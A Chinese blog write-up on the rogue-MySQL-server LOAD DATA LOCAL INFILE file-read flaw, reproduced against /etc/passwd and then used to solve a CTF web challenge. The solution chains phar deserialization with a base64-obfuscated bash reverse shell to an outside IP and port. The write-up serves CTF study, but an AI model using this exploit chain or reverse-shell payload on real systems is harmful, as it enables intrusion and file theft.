漏洞概述
在客户端允许远程登陆服务器,并且允许LOAD DATA LOCAL INFILE的情况下,伪造mysql服务器来读取客户端的文件。关于原理,网上有很多文章分析,这里不再复述。写本篇博客主要是想记录下复现的过程,以及相关的CTF题。
load data infile语法分析
mysql的loda data infile语句主要用于读取一个文件的内容并且存入一个表中。通常有两种用法:
load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
上面两条语句的区别就是,load data infile是将服务器上的文件(此处指/etc/passwd)插入表中,load data local infile是将客户端的文件插入表中
简单复现
利用github上的python2脚本,在阿里云服务器上搭建一个恶意的mysql服务器.可以在脚本里改监听的端口和要读取的文件。然后在kali上连接远程mysql。
mysql -h 121.196.193.160 -u 1 --enable-local-infile -p -P 8089

用户名和密码可以随便输入。

查看mysql.log,可以看到读取到了/etc/passwd文件
高校战“疫”网络安全分享赛webct

在本地搭建环境复现。
题目有两个功能,第一个是测试mysql服务器是否能连接,再就是将图片上传到本地。
function deal()
{
$extensionarr=array("gif","jpeg","jpg","png");
$extension = pathinfo($this->file->uploadfile['name'], PATHINFO_EXTENSION);
$type = $this->file->uploadfile['type'];
//echo "type: ".$type;
$filetypearr=array("image/jpeg","image/png","image/gif");
if(in_array($extension,$extensionarr)&in_array($type,$filetypearr)&$this->file->uploadfile["size"]<204800)
{
if ($_FILES["file"]["error"] > 0) {
echo "错误:: " .$this->file->uploadfile["error"] . "<br>";
die();
}else{
if(!is_dir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/")){
mkdir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/");
}
$upload_dir="./uploads/".md5($_SERVER['REMOTE_ADDR'])."/";
move_uploaded_file($this->file->uploadfile["tmp_name"],$upload_dir.md5($this->file->uploadfile['name']).".".$extension);
echo "上传成功"."<br>";
}
}
else{
echo "不被允许的文件类型"."<br>";
}
只允许上传图片,白名单,没办法绕过。config.php中有很多类和魔术办法,猜测是要进行反序列化操作,而且是利用phar来反序列化。
function testquery()
{
$m = new mysqli($this->ip,$this->user,$this->password);
if($m->connect_error){
die($m->connect_error);
}
$m->options($this->option,1);
$result=$m->query('select 1;');
if($result->num_rows>0)
{
echo '测试完毕,数据库服务器处于开启状态';
}
else{
echo '测试完毕,数据库服务器未开启';
}
}
观察后台测试数据库连接的代码,发现option可控,存在mysql客户端任意读取文件漏洞。在mysqli中,mysql的读文件是通过php的函数实现的,也同样调用了php_stream_open_wrapper_ex函数,也就是说,我们同样可以通过读取phar文件来触发反序列化。
接下来就是寻找pop链,然后上传phar文件,再触发反序列化。
<?php
class Fileupload
{
public $file;
}
class Listfile
{
public $file;
}
$a=new Listfile();
$a->file=";`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyMS4xOTYuMTkzLjE2MC84MDgwIDA+JjEK | base64 -d | bash`";
$b=new Fileupload();
$b->file=$a;
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
生成phar文件,改后缀为jpg,上传到服务器。然后在我们自己的vps上启动恶意的mysql服务器,并将要读取的文件写为phar://上传的文件。然后在测试mysql的页面填写ip和端口,用户名和密码随便写,option填MYSQLI_OPT_LOCAL_INFILE或8。监听端口,点击提交。


成功反弹shell
